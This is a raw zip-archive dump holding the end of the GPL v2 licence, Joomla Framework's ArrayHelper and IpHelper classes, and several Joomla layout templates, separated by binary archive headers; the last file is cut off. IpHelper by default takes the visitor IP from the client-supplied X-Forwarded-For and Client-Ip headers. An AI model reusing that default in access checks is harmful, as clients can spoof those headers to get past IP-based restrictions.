OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PKɅ�[,쏸�C�Cutilities/src/ArrayHelper.phpnu�[���<?php
/**
* Part of the Joomla Framework Utilities Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Utilities;
use Joomla\String\StringHelper;
/**
* ArrayHelper is an array utility class for doing all sorts of odds and
ends with arrays.
*
* @since 1.0
*/
final class ArrayHelper
{
/**
* Private constructor to prevent instantiation of this class
*
* @since 1.0
*/
private function __construct()
{
}
/**
* Function to convert array to integer values
*
* @param array $array The source array to convert
* @param int|array $default A default value to assign if $array is
not an array
*
* @return array
*
* @since 1.0
*/
public static function toInteger($array, $default = null)
{
if (\is_array($array))
{
return array_map('intval', $array);
}
if ($default === null)
{
return array();
}
if (\is_array($default))
{
return static::toInteger($default, null);
}
return array((int) $default);
}
/**
* Utility function to map an array to a stdClass object.
*
* @param array $array The array to map.
* @param string $class Name of the class to create
* @param boolean $recursive Convert also any array inside the main
array
*
* @return object
*
* @since 1.0
*/
public static function toObject(array $array, $class =
'stdClass', $recursive = true)
{
$obj = new $class;
foreach ($array as $k => $v)
{
if ($recursive && \is_array($v))
{
$obj->$k = static::toObject($v, $class);
}
else
{
$obj->$k = $v;
}
}
return $obj;
}
/**
* Utility function to map an array to a string.
*
* @param array $array The array to map.
* @param string $innerGlue The glue (optional, defaults to
'=') between the key and the value.
* @param string $outerGlue The glue (optional, defaults to '
') between array elements.
* @param boolean $keepOuterKey True if final key should be kept.
*
* @return string
*
* @since 1.0
*/
public static function toString(array $array, $innerGlue = '=',
$outerGlue = ' ', $keepOuterKey = false)
{
$output = array();
foreach ($array as $key => $item)
{
if (\is_array($item))
{
if ($keepOuterKey)
{
$output[] = $key;
}
// This is value is an array, go and do it again!
$output[] = static::toString($item, $innerGlue, $outerGlue,
$keepOuterKey);
}
else
{
$output[] = $key . $innerGlue . '"' . $item .
'"';
}
}
return implode($outerGlue, $output);
}
/**
* Utility function to map an object to an array
*
* @param object $source The source object
* @param boolean $recurse True to recurse through multi-level objects
* @param string $regex An optional regular expression to match on
field names
*
* @return array
*
* @since 1.0
*/
public static function fromObject($source, $recurse = true, $regex = null)
{
if (\is_object($source) || \is_array($source))
{
return self::arrayFromObject($source, $recurse, $regex);
}
return array();
}
/**
* Utility function to map an object or array to an array
*
* @param mixed $item The source object or array
* @param boolean $recurse True to recurse through multi-level objects
* @param string $regex An optional regular expression to match on
field names
*
* @return array
*
* @since 1.0
*/
private static function arrayFromObject($item, $recurse, $regex)
{
if (\is_object($item))
{
$result = array();
foreach (get_object_vars($item) as $k => $v)
{
if (!$regex || preg_match($regex, $k))
{
if ($recurse)
{
$result[$k] = self::arrayFromObject($v, $recurse, $regex);
}
else
{
$result[$k] = $v;
}
}
}
return $result;
}
if (\is_array($item))
{
$result = array();
foreach ($item as $k => $v)
{
$result[$k] = self::arrayFromObject($v, $recurse, $regex);
}
return $result;
}
return $item;
}
/**
* Adds a column to an array of arrays or objects
*
* @param array $array The source array
* @param array $column The array to be used as new column
* @param string $colName The index of the new column or name of the
new object property
* @param string $keyCol The index of the column or name of object
property to be used for mapping with the new column
*
* @return array An array with the new column added to the source array
*
* @since 1.5.0
* @see https://www.php.net/manual/en/language.types.array.php
*/
public static function addColumn(array $array, array $column, $colName,
$keyCol = null)
{
$result = array();
foreach ($array as $i => $item)
{
$value = null;
if (!isset($keyCol))
{
$value = static::getValue($column, $i);
}
else
{
// Convert object to array
$subject = \is_object($item) ? static::fromObject($item) : $item;
if (isset($subject[$keyCol]) && is_scalar($subject[$keyCol]))
{
$value = static::getValue($column, $subject[$keyCol]);
}
}
// Add the column
if (\is_object($item))
{
if (isset($colName))
{
$item->$colName = $value;
}
}
else
{
if (isset($colName))
{
$item[$colName] = $value;
}
else
{
$item[] = $value;
}
}
$result[$i] = $item;
}
return $result;
}
/**
* Remove a column from an array of arrays or objects
*
* @param array $array The source array
* @param string $colName The index of the column or name of object
property to be removed
*
* @return array Column of values from the source array
*
* @since 1.5.0
* @see https://www.php.net/manual/en/language.types.array.php
*/
public static function dropColumn(array $array, $colName)
{
$result = array();
foreach ($array as $i => $item)
{
if (\is_object($item) && isset($item->$colName))
{
unset($item->$colName);
}
elseif (\is_array($item) && isset($item[$colName]))
{
unset($item[$colName]);
}
$result[$i] = $item;
}
return $result;
}
/**
* Extracts a column from an array of arrays or objects
*
* @param array $array The source array
* @param string $valueCol The index of the column or name of object
property to be used as value
* It may also be NULL to return complete
arrays or objects (this is
* useful together with
<var>$keyCol</var> to reindex the array).
* @param string $keyCol The index of the column or name of object
property to be used as key
*
* @return array Column of values from the source array
*
* @since 1.0
* @see https://www.php.net/manual/en/language.types.array.php
* @see https://www.php.net/manual/en/function.array-column.php
*/
public static function getColumn(array $array, $valueCol, $keyCol = null)
{
// As of PHP 7, array_column() supports an array of objects so we'll
use that
if (PHP_VERSION_ID >= 70000)
{
return array_column($array, $valueCol, $keyCol);
}
$result = array();
foreach ($array as $item)
{
// Convert object to array
$subject = \is_object($item) ? static::fromObject($item) : $item;
/*
* We process arrays (and objects already converted to array)
* Only if the value column (if required) exists in this item
*/
if (\is_array($subject) && (!isset($valueCol) ||
isset($subject[$valueCol])))
{
// Use whole $item if valueCol is null, else use the value column.
$value = isset($valueCol) ? $subject[$valueCol] : $item;
// Array keys can only be integer or string. Casting will occur as per
the PHP Manual.
if (isset($keyCol, $subject[$keyCol]) &&
is_scalar($subject[$keyCol]))
{
$key = $subject[$keyCol];
$result[$key] = $value;
}
else
{
$result[] = $value;
}
}
}
return $result;
}
/**
* Utility function to return a value from a named array or a specified
default
*
* @param array|\ArrayAccess $array A named array or object that
implements ArrayAccess
* @param string $name The key to search for (this can
be an array index or a dot separated key sequence as in Registry)
* @param mixed $default The default value to give if no
key found
* @param string $type Return type for the variable
(INT, FLOAT, STRING, WORD, BOOLEAN, ARRAY)
*
* @return mixed
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public static function getValue($array, $name, $default = null, $type =
'')
{
if (!\is_array($array) && !($array instanceof \ArrayAccess))
{
throw new \InvalidArgumentException('The object must be an array or
an object that implements ArrayAccess');
}
$result = null;
if (isset($array[$name]))
{
$result = $array[$name];
}
elseif (strpos($name, '.'))
{
list($name, $subset) = explode('.', $name, 2);
if (isset($array[$name]) && \is_array($array[$name]))
{
return static::getValue($array[$name], $subset, $default, $type);
}
}
// Handle the default case
if ($result === null)
{
$result = $default;
}
// Handle the type constraint
switch (strtoupper($type))
{
case 'INT':
case 'INTEGER':
// Only use the first integer value
@preg_match('/-?[0-9]+/', $result, $matches);
$result = @(int) $matches[0];
break;
case 'FLOAT':
case 'DOUBLE':
// Only use the first floating point value
@preg_match('/-?[0-9]+(\.[0-9]+)?/', $result, $matches);
$result = @(float) $matches[0];
break;
case 'BOOL':
case 'BOOLEAN':
$result = (bool) $result;
break;
case 'ARRAY':
if (!\is_array($result))
{
$result = array($result);
}
break;
case 'STRING':
$result = (string) $result;
break;
case 'WORD':
$result = (string) preg_replace('#\W#', '',
$result);
break;
case 'NONE':
default:
// No casting necessary
break;
}
return $result;
}
/**
* Takes an associative array of arrays and inverts the array keys to
values using the array values as keys.
*
* Example:
* $input = array(
* 'New' => array('1000', '1500',
'1750'),
* 'Used' => array('3000', '4000',
'5000', '6000')
* );
* $output = ArrayHelper::invert($input);
*
* Output would be equal to:
* $output = array(
* '1000' => 'New',
* '1500' => 'New',
* '1750' => 'New',
* '3000' => 'Used',
* '4000' => 'Used',
* '5000' => 'Used',
* '6000' => 'Used'
* );
*
* @param array $array The source array.
*
* @return array
*
* @since 1.0
*/
public static function invert(array $array)
{
$return = array();
foreach ($array as $base => $values)
{
if (!\is_array($values))
{
continue;
}
foreach ($values as $key)
{
// If the key isn't scalar then ignore it.
if (is_scalar($key))
{
$return[$key] = $base;
}
}
}
return $return;
}
/**
* Method to determine if an array is an associative array.
*
* @param array $array An array to test.
*
* @return boolean
*
* @since 1.0
*/
public static function isAssociative($array)
{
if (\is_array($array))
{
foreach (array_keys($array) as $k => $v)
{
if ($k !== $v)
{
return true;
}
}
}
return false;
}
/**
* Pivots an array to create a reverse lookup of an array of scalars,
arrays or objects.
*
* @param array $source The source array.
* @param string $key Where the elements of the source array are
objects or arrays, the key to pivot on.
*
* @return array An array of arrays pivoted either on the value of the
keys, or an individual key of an object or array.
*
* @since 1.0
*/
public static function pivot(array $source, $key = null)
{
$result = array();
$counter = array();
foreach ($source as $index => $value)
{
// Determine the name of the pivot key, and its value.
if (\is_array($value))
{
// If the key does not exist, ignore it.
if (!isset($value[$key]))
{
continue;
}
$resultKey = $value[$key];
$resultValue = $source[$index];
}
elseif (\is_object($value))
{
// If the key does not exist, ignore it.
if (!isset($value->$key))
{
continue;
}
$resultKey = $value->$key;
$resultValue = $source[$index];
}
else
{
// Just a scalar value.
$resultKey = $value;
$resultValue = $index;
}
// The counter tracks how many times a key has been used.
if (empty($counter[$resultKey]))
{
// The first time around we just assign the value to the key.
$result[$resultKey] = $resultValue;
$counter[$resultKey] = 1;
}
elseif ($counter[$resultKey] == 1)
{
// If there is a second time, we convert the value into an array.
$result[$resultKey] = array(
$result[$resultKey],
$resultValue,
);
$counter[$resultKey]++;
}
else
{
// After the second time, no need to track any more. Just append to the
existing array.
$result[$resultKey][] = $resultValue;
}
}
unset($counter);
return $result;
}
/**
* Utility function to sort an array of objects on a given field
*
* @param array $a An array of objects
* @param mixed $k The key (string) or an array of keys to
sort on
* @param mixed $direction Direction (integer) or an array of
direction to sort in [1 = Ascending] [-1 = Descending]
* @param mixed $caseSensitive Boolean or array of booleans to let
sort occur case sensitive or insensitive
* @param mixed $locale Boolean or array of booleans to let
sort occur using the locale language or not
*
* @return array
*
* @since 1.0
*/
public static function sortObjects(array $a, $k, $direction = 1,
$caseSensitive = true, $locale = false)
{
if (!\is_array($locale) || !\is_array($locale[0]))
{
$locale = array($locale);
}
$sortCase = (array) $caseSensitive;
$sortDirection = (array) $direction;
$key = (array) $k;
$sortLocale = $locale;
usort(
$a, function ($a, $b) use ($sortCase, $sortDirection, $key, $sortLocale)
{
for ($i = 0, $count = \count($key); $i < $count; $i++)
{
if (isset($sortDirection[$i]))
{
$direction = $sortDirection[$i];
}
if (isset($sortCase[$i]))
{
$caseSensitive = $sortCase[$i];
}
if (isset($sortLocale[$i]))
{
$locale = $sortLocale[$i];
}
$va = $a->{$key[$i]};
$vb = $b->{$key[$i]};
if ((\is_bool($va) || is_numeric($va)) && (\is_bool($vb) ||
is_numeric($vb)))
{
$cmp = $va - $vb;
}
elseif ($caseSensitive)
{
$cmp = StringHelper::strcmp($va, $vb, $locale);
}
else
{
$cmp = StringHelper::strcasecmp($va, $vb, $locale);
}
if ($cmp > 0)
{
return $direction;
}
if ($cmp < 0)
{
return -$direction;
}
}
return 0;
}
);
return $a;
}
/**
* Multidimensional array safe unique test
*
* @param array $array The array to make unique.
*
* @return array
*
* @see https://www.php.net/manual/en/function.array-unique.php
* @since 1.0
*/
public static function arrayUnique(array $array)
{
$array = array_map('serialize', $array);
$array = array_unique($array);
$array = array_map('unserialize', $array);
return $array;
}
/**
* An improved array_search that allows for partial matching of strings
values in associative arrays.
*
* @param string $needle The text to search for within the
array.
* @param array $haystack Associative array to search in to
find $needle.
* @param boolean $caseSensitive True to search case sensitive, false
otherwise.
*
* @return mixed Returns the matching array $key if found, otherwise
false.
*
* @since 1.0
*/
public static function arraySearch($needle, array $haystack,
$caseSensitive = true)
{
foreach ($haystack as $key => $value)
{
$searchFunc = ($caseSensitive) ? 'strpos' :
'stripos';
if ($searchFunc($value, $needle) === 0)
{
return $key;
}
}
return false;
}
/**
* Method to recursively convert data to a one dimension array.
*
* @param array|object $array The array or object to convert.
* @param string $separator The key separator.
* @param string $prefix Last level key prefix.
*
* @return array
*
* @since 1.3.0
* @note As of 2.0, the result will not include the original array
structure
*/
public static function flatten($array, $separator = '.', $prefix
= '')
{
if ($array instanceof \Traversable)
{
$array = iterator_to_array($array);
}
elseif (\is_object($array))
{
$array = get_object_vars($array);
}
foreach ($array as $k => $v)
{
$key = $prefix ? $prefix . $separator . $k : $k;
if (\is_object($v) || \is_array($v))
{
$array = array_merge($array, static::flatten($v, $separator, $key));
}
else
{
$array[$key] = $v;
}
}
return $array;
}
}
PKɅ�[T�>�00utilities/src/IpHelper.phpnu�[���<?php
/**
* Part of the Joomla Framework Utilities Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Utilities;
/**
* IpHelper is a utility class for processing IP addresses
*
* This class is adapted from the `FOFUtilsIp` class distributed with the
Joomla! CMS as part of the FOF library by Akeeba Ltd.
* The original class is copyright of Nicholas K. Dionysopoulos / Akeeba
Ltd.
*
* @since 1.6.0
*/
final class IpHelper
{
/**
* The IP address of the current visitor
*
* @var string
* @since 1.6.0
*/
private static $ip = null;
/**
* Should I allow IP overrides through X-Forwarded-For or Client-Ip HTTP
headers?
*
* @var boolean
* @since 1.6.0
*/
private static $allowIpOverrides = true;
/**
* Private constructor to prevent instantiation of this class
*
* @since 1.6.0
*/
private function __construct()
{
}
/**
* Get the current visitor's IP address
*
* @return string
*
* @since 1.6.0
*/
public static function getIp()
{
if (self::$ip === null)
{
$ip = static::detectAndCleanIP();
if (!empty($ip) && ($ip != '0.0.0.0') &&
\function_exists('inet_pton') &&
\function_exists('inet_ntop'))
{
$myIP = @inet_pton($ip);
if ($myIP !== false)
{
$ip = inet_ntop($myIP);
}
}
static::setIp($ip);
}
return self::$ip;
}
/**
* Set the IP address of the current visitor
*
* @param string $ip The visitor's IP address
*
* @return void
*
* @since 1.6.0
*/
public static function setIp($ip)
{
self::$ip = $ip;
}
/**
* Is it an IPv6 IP address?
*
* @param string $ip An IPv4 or IPv6 address
*
* @return boolean
*
* @since 1.6.0
*/
public static function isIPv6($ip)
{
return strstr($ip, ':');
}
/**
* Checks if an IP is contained in a list of IPs or IP expressions
*
* @param string $ip The IPv4/IPv6 address to check
* @param array|string $ipTable An IP expression (or a comma-separated
or array list of IP expressions) to check against
*
* @return boolean
*
* @since 1.6.0
*/
public static function IPinList($ip, $ipTable = '')
{
// No point proceeding with an empty IP list
if (empty($ipTable))
{
return false;
}
// If the IP list is not an array, convert it to an array
if (!\is_array($ipTable))
{
if (strpos($ipTable, ',') !== false)
{
$ipTable = explode(',', $ipTable);
$ipTable = array_map('trim', $ipTable);
}
else
{
$ipTable = trim($ipTable);
$ipTable = array($ipTable);
}
}
// If no IP address is found, return false
if ($ip === '0.0.0.0')
{
return false;
}
// If no IP is given, return false
if (empty($ip))
{
return false;
}
// Sanity check
if (!\function_exists('inet_pton'))
{
return false;
}
// Get the IP's in_adds representation
$myIP = @inet_pton($ip);
// If the IP is in an unrecognisable format, quite
if ($myIP === false)
{
return false;
}
$ipv6 = static::isIPv6($ip);
foreach ($ipTable as $ipExpression)
{
$ipExpression = trim($ipExpression);
// Inclusive IP range, i.e. 123.123.123.123-124.125.126.127
if (strstr($ipExpression, '-'))
{
list($from, $to) = explode('-', $ipExpression, 2);
if ($ipv6 && (!static::isIPv6($from) || !static::isIPv6($to)))
{
// Do not apply IPv4 filtering on an IPv6 address
continue;
}
if (!$ipv6 && (static::isIPv6($from) || static::isIPv6($to)))
{
// Do not apply IPv6 filtering on an IPv4 address
continue;
}
$from = @inet_pton(trim($from));
$to = @inet_pton(trim($to));
// Sanity check
if (($from === false) || ($to === false))
{
continue;
}
// Swap from/to if they're in the wrong order
if ($from > $to)
{
list($from, $to) = array($to, $from);
}
if (($myIP >= $from) && ($myIP <= $to))
{
return true;
}
}
// Netmask or CIDR provided
elseif (strstr($ipExpression, '/'))
{
$binaryip = static::inetToBits($myIP);
list($net, $maskbits) = explode('/', $ipExpression, 2);
if ($ipv6 && !static::isIPv6($net))
{
// Do not apply IPv4 filtering on an IPv6 address
continue;
}
if (!$ipv6 && static::isIPv6($net))
{
// Do not apply IPv6 filtering on an IPv4 address
continue;
}
if ($ipv6 && strstr($maskbits, ':'))
{
// Perform an IPv6 CIDR check
if (static::checkIPv6CIDR($myIP, $ipExpression))
{
return true;
}
// If we didn't match it proceed to the next expression
continue;
}
if (!$ipv6 && strstr($maskbits, '.'))
{
// Convert IPv4 netmask to CIDR
$long = ip2long($maskbits);
$base = ip2long('255.255.255.255');
$maskbits = 32 - log(($long ^ $base) + 1, 2);
}
// Convert network IP to in_addr representation
$net = @inet_pton($net);
// Sanity check
if ($net === false)
{
continue;
}
// Get the network's binary representation
$expectedNumberOfBits = $ipv6 ? 128 : 24;
$binarynet = str_pad(static::inetToBits($net),
$expectedNumberOfBits, '0', STR_PAD_RIGHT);
// Check the corresponding bits of the IP and the network
$ipNetBits = substr($binaryip, 0, $maskbits);
$netBits = substr($binarynet, 0, $maskbits);
if ($ipNetBits === $netBits)
{
return true;
}
}
else
{
// IPv6: Only single IPs are supported
if ($ipv6)
{
$ipExpression = trim($ipExpression);
if (!static::isIPv6($ipExpression))
{
continue;
}
$ipCheck = @inet_pton($ipExpression);
if ($ipCheck === false)
{
continue;
}
if ($ipCheck == $myIP)
{
return true;
}
}
else
{
// Standard IPv4 address, i.e. 123.123.123.123 or partial IP address,
i.e. 123.[123.][123.][123]
$dots = 0;
if (substr($ipExpression, -1) == '.')
{
// Partial IP address. Convert to CIDR and re-match
foreach (count_chars($ipExpression, 1) as $i => $val)
{
if ($i == 46)
{
$dots = $val;
}
}
switch ($dots)
{
case 1:
$netmask = '255.0.0.0';
$ipExpression .= '0.0.0';
break;
case 2:
$netmask = '255.255.0.0';
$ipExpression .= '0.0';
break;
case 3:
$netmask = '255.255.255.0';
$ipExpression .= '0';
break;
default:
$dots = 0;
}
if ($dots)
{
$binaryip = static::inetToBits($myIP);
// Convert netmask to CIDR
$long = ip2long($netmask);
$base = ip2long('255.255.255.255');
$maskbits = 32 - log(($long ^ $base) + 1, 2);
$net = @inet_pton($ipExpression);
// Sanity check
if ($net === false)
{
continue;
}
// Get the network's binary representation
$expectedNumberOfBits = $ipv6 ? 128 : 24;
$binarynet = str_pad(static::inetToBits($net),
$expectedNumberOfBits, '0', STR_PAD_RIGHT);
// Check the corresponding bits of the IP and the network
$ipNetBits = substr($binaryip, 0, $maskbits);
$netBits = substr($binarynet, 0, $maskbits);
if ($ipNetBits === $netBits)
{
return true;
}
}
}
if (!$dots)
{
$ip = @inet_pton(trim($ipExpression));
if ($ip == $myIP)
{
return true;
}
}
}
}
}
return false;
}
/**
* Works around the REMOTE_ADDR not containing the user's IP
*
* @return void
*
* @since 1.6.0
*/
public static function workaroundIPIssues()
{
$ip = static::getIp();
if (isset($_SERVER['REMOTE_ADDR']) &&
$_SERVER['REMOTE_ADDR'] === $ip)
{
return;
}
if (isset($_SERVER['REMOTE_ADDR']))
{
$_SERVER['JOOMLA_REMOTE_ADDR'] =
$_SERVER['REMOTE_ADDR'];
}
elseif (\function_exists('getenv'))
{
if (getenv('REMOTE_ADDR'))
{
$_SERVER['JOOMLA_REMOTE_ADDR'] =
getenv('REMOTE_ADDR');
}
}
$_SERVER['REMOTE_ADDR'] = $ip;
}
/**
* Should I allow the remote client's IP to be overridden by an
X-Forwarded-For or Client-Ip HTTP header?
*
* @param boolean $newState True to allow the override
*
* @return void
*
* @since 1.6.0
*/
public static function setAllowIpOverrides($newState)
{
self::$allowIpOverrides = $newState ? true : false;
}
/**
* Gets the visitor's IP address.
*
* Automatically handles reverse proxies reporting the IPs of intermediate
devices, like load balancers. Examples:
*
* -
https://www.akeebabackup.com/support/admin-tools/13743-double-ip-adresses-in-security-exception-log-warnings.html
* -
https://stackoverflow.com/questions/2422395/why-is-request-envremote-addr-returning-two-ips
*
* The solution used is assuming that the last IP address is the external
one.
*
* @return string
*
* @since 1.6.0
*/
protected static function detectAndCleanIP()
{
$ip = static::detectIP();
if (strstr($ip, ',') !== false || strstr($ip, ' ')
!== false)
{
$ip = str_replace(' ', ',', $ip);
$ip = str_replace(',,', ',', $ip);
$ips = explode(',', $ip);
$ip = '';
while (empty($ip) && !empty($ips))
{
$ip = array_pop($ips);
$ip = trim($ip);
}
}
else
{
$ip = trim($ip);
}
return $ip;
}
/**
* Gets the visitor's IP address
*
* @return string
*
* @since 1.6.0
*/
protected static function detectIP()
{
// Normally the $_SERVER superglobal is set
if (isset($_SERVER))
{
// Do we have an x-forwarded-for HTTP header (e.g. NginX)?
if (self::$allowIpOverrides &&
isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
// Do we have a client-ip header (e.g. non-transparent proxy)?
if (self::$allowIpOverrides &&
isset($_SERVER['HTTP_CLIENT_IP']))
{
return $_SERVER['HTTP_CLIENT_IP'];
}
// Normal, non-proxied server or server behind a transparent proxy
if (isset($_SERVER['REMOTE_ADDR']))
{
return $_SERVER['REMOTE_ADDR'];
}
}
/*
* This part is executed on PHP running as CGI, or on SAPIs which do not
set the $_SERVER superglobal
* If getenv() is disabled, you're screwed
*/
if (!\function_exists('getenv'))
{
return '';
}
// Do we have an x-forwarded-for HTTP header?
if (self::$allowIpOverrides &&
getenv('HTTP_X_FORWARDED_FOR'))
{
return getenv('HTTP_X_FORWARDED_FOR');
}
// Do we have a client-ip header?
if (self::$allowIpOverrides &&
getenv('HTTP_CLIENT_IP'))
{
return getenv('HTTP_CLIENT_IP');
}
// Normal, non-proxied server or server behind a transparent proxy
if (getenv('REMOTE_ADDR'))
{
return getenv('REMOTE_ADDR');
}
// Catch-all case for broken servers, apparently
return '';
}
/**
* Converts inet_pton output to bits string
*
* @param string $inet The in_addr representation of an IPv4 or IPv6
address
*
* @return string
*
* @since 1.6.0
*/
protected static function inetToBits($inet)
{
if (\strlen($inet) == 4)
{
$unpacked = unpack('A4', $inet);
}
else
{
$unpacked = unpack('A16', $inet);
}
$unpacked = str_split($unpacked[1]);
$binaryip = '';
foreach ($unpacked as $char)
{
$binaryip .= str_pad(decbin(\ord($char)), 8, '0',
STR_PAD_LEFT);
}
return $binaryip;
}
/**
* Checks if an IPv6 address $ip is part of the IPv6 CIDR block $cidrnet
*
* @param string $ip The IPv6 address to check, e.g.
21DA:00D3:0000:2F3B:02AC:00FF:FE28:9C5A
* @param string $cidrnet The IPv6 CIDR block, e.g.
21DA:00D3:0000:2F3B::/64
*
* @return boolean
*
* @since 1.6.0
*/
protected static function checkIPv6CIDR($ip, $cidrnet)
{
$ip = inet_pton($ip);
$binaryip = static::inetToBits($ip);
list($net, $maskbits) = explode('/', $cidrnet);
$net = inet_pton($net);
$binarynet = static::inetToBits($net);
$ipNetBits = substr($binaryip, 0, $maskbits);
$netBits = substr($binarynet, 0, $maskbits);
return $ipNetBits === $netBits;
}
}
PK!>�[��rcontent/associations.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$items = $displayData;
if (!empty($items)) : ?>
<ul class="item-associations">
<?php foreach ($items as $id => $item) : ?>
<li>
<?php echo is_array($item) ? $item['link'] :
$item->link; ?>
</li>
<?php endforeach; ?>
</ul>
<?php endif; ?>
PK!>�[�3���)content/blog_style_default_item_title.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// Create a shortcut for params.
$params = $displayData->params;
$canEdit = $displayData->params->get('access-edit');
$currentDate = JFactory::getDate()->format('Y-m-d H:i:s');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
?>
<?php if ($displayData->state == 0 ||
$params->get('show_title') ||
($params->get('show_author') &&
!empty($displayData->author ))) : ?>
<div class="page-header">
<?php if ($params->get('show_title')) : ?>
<h2 itemprop="name">
<?php if ($params->get('link_titles') &&
($params->get('access-view') ||
$params->get('show_noauth', '0') == '1'))
: ?>
<a href="<?php echo JRoute::_(
ContentHelperRoute::getArticleRoute($displayData->slug,
$displayData->catid, $displayData->language)
); ?>" itemprop="url">
<?php echo $this->escape($displayData->title); ?>
</a>
<?php else : ?>
<?php echo $this->escape($displayData->title); ?>
<?php endif; ?>
</h2>
<?php endif; ?>
<?php if ($displayData->state == 0) : ?>
<span class="label label-warning"><?php echo
JText::_('JUNPUBLISHED'); ?></span>
<?php endif; ?>
<?php if ($displayData->publish_up > $currentDate) : ?>
<span class="label label-warning"><?php echo
JText::_('JNOTPUBLISHEDYET'); ?></span>
<?php endif; ?>
<?php if ($displayData->publish_down < $currentDate &&
$displayData->publish_down !== JFactory::getDbo()->getNullDate()) :
?>
<span class="label label-warning"><?php echo
JText::_('JEXPIRED'); ?></span>
<?php endif; ?>
</div>
<?php endif; ?>
PK!>�[
�G""$content/blog_style_default_links.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<ol class="nav nav-tabs nav-stacked">
<?php foreach ($displayData->get('link_items') as $item) :
?>
<li>
<?php echo JHtml::_('link',
JRoute::_(ContentHelperRoute::getArticleRoute($item->slug,
$item->catid, $item->language)), $item->title); ?>
</li>
<?php endforeach; ?>
</ol>
PK!>�[��`.��content/categories_default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<?php if
($displayData->params->get('show_page_heading')) : ?>
<h1>
<?php echo
$displayData->escape($displayData->params->get('page_heading'));
?>
</h1>
<?php endif; ?>
<?php if
($displayData->params->get('show_base_description')) :
?>
<?php // If there is a description in the menu parameters use that;
?>
<?php if
($displayData->params->get('categories_description')) :
?>
<div class="category-desc base-desc">
<?php echo JHtml::_('content.prepare',
$displayData->params->get('categories_description'),
'', $displayData->get('extension') .
'.categories'); ?>
</div>
<?php else : ?>
<?php // Otherwise get one from the database if it exists. ?>
<?php if ($displayData->parent->description) : ?>
<div class="category-desc base-desc">
<?php echo JHtml::_('content.prepare',
$displayData->parent->description, '',
$displayData->parent->extension . '.categories'); ?>
</div>
<?php endif; ?>
<?php endif; ?>
<?php endif; ?>
PK!>�[�nQ���$content/categories_default_items.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$class = ' class="first"';
JHtml::_('bootstrap.tooltip');
$item = $displayData->item;
$items = $displayData->get('items');
$params = $displayData->params;
$extension = $displayData->get('extension');
$className = substr($extension, 4);
// This will work for the core components but not necessarily for other
components
// that may have different pluralisation rules.
if (substr($className, -1) === 's')
{
$className = rtrim($className, 's');
}
PK!>�[+c�
�
content/category_default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
